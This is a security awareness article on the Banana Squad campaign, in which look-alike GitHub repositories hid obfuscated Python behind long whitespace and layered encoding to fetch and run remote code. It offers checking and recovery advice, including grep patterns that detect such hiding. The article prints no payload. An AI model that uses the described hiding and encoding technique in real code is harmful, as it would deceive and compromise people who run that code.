Trojanized GitHub Repositories: How the Banana Squad Campaign Worked and How to Check Code First

Key takeaways

• ReversingLabs described 67 look-alike repositories used by Banana Squad; GitHub removed them.
• Malicious code was hidden after long whitespace and wrapped in layered encoding.
• Check owner, compare with the genuine project, read entry points and run in a VM.
• Never run unknown code with your tokens, browser logins or cloud keys nearby.

What was found

ReversingLabs researchers described a threat actor they call Banana Squad that published 67 trojanized repositories on GitHub. The repositories copied the names of legitimate projects, and many were Python-based tools aimed at people who would download scripts, such as gamers and developers. Their report: ReversingLabs on Banana Squad. GitHub has removed the repositories named in that report.

An earlier version of this article placed the campaign in June 2026. The command-and-control domain activity ReversingLabs documents is from June 2025, so the year has been corrected. The exact publication date should be checked against the report.

How the trick works

1. Look-alike repositories. The attacker creates accounts and repositories with the same names as legitimate projects, and fills the description with search terms and emoji so they appear in GitHub searches and look active.
2. Hidden code in plain sight. A Python file contains a very long run of whitespace, followed by obfuscated code. In a normal editor the malicious line is far off to the right and easy to miss.
3. Layers of encoding. The hidden code is wrapped in Base64, hex text and Fernet encryption, so a quick scan finds nothing readable.
4. Contact with the attacker's server. When the script runs, it fetches further code from domains the attacker controls and executes it.

The report lists indicators of compromise, including domains and file hashes. Use the report for the authoritative list rather than any copy of it.

Why it works

• People trust GitHub and equate "public repository" with "safe".
• Developers often run a script after a quick skim, and gamers often run tools from forums.
• Search results and star counts are not security checks. Fake or inflated activity is easy to create.
• The malicious code is not in the obvious place.

How do you check a repository before you run it?

1. Check the owner. Is it the official account linked from the project's own website? Look at the account's age and other repositories.
2. Compare with the real project. Look for a copy with the same name but a different author, and compare files with the known-good one.
3. Search the code for long whitespace and encoded blobs. For example:

   grep -rnE ' {200,}' --include='*.py'.
   grep -rniE 'base64|b64decode|fernet|exec\(|eval\(' --include='*.py'.

   These patterns also appear in honest code, so treat matches as a prompt to read, not as proof.
4. Read the install and entry-point scripts (setup.py, requirements.txt, main.py), and look for network calls to unfamiliar domains.
5. Run it in a throwaway VM with no personal files, no saved browser logins and no cloud keys. Snapshot first.
6. Do not paste your tokens into code you have not read.

What are safer habits for developers?

• Install tools from the project's official site or a trusted package registry, and pin dependencies to known versions and hashes.
• Use a dependency scanner and a software composition tool in your pipeline.
• Keep secrets out of working directories, and use short-lived credentials with minimal permissions.
• Turn on two-factor authentication on GitHub and use signed commits for your own work.
• Be extra careful with "cracked", "cheat" or "free" versions of paid software, which are common bait.

For gamers

Game cheats, mod loaders and hacks are among the most common bait for malware. If you must try one, use a separate device or VM, never log into your main accounts on it and expect that it may be malicious.

What if you ran something suspicious?

1. Disconnect from the network.
2. From a clean device, change passwords and revoke GitHub, cloud and browser sessions and tokens.
3. Scan with updated security software, or rebuild the machine if unsure.
4. Check recent logins and transactions on important accounts.
5. Organisations in India should report significant incidents to CERT-In.

Next steps

For secure development and pipeline practices, see the EC-Council Certified DevSecOps Engineer course. Related reading: malware in fake Minecraft mods on GitHub and Inno Setup installers used for malware.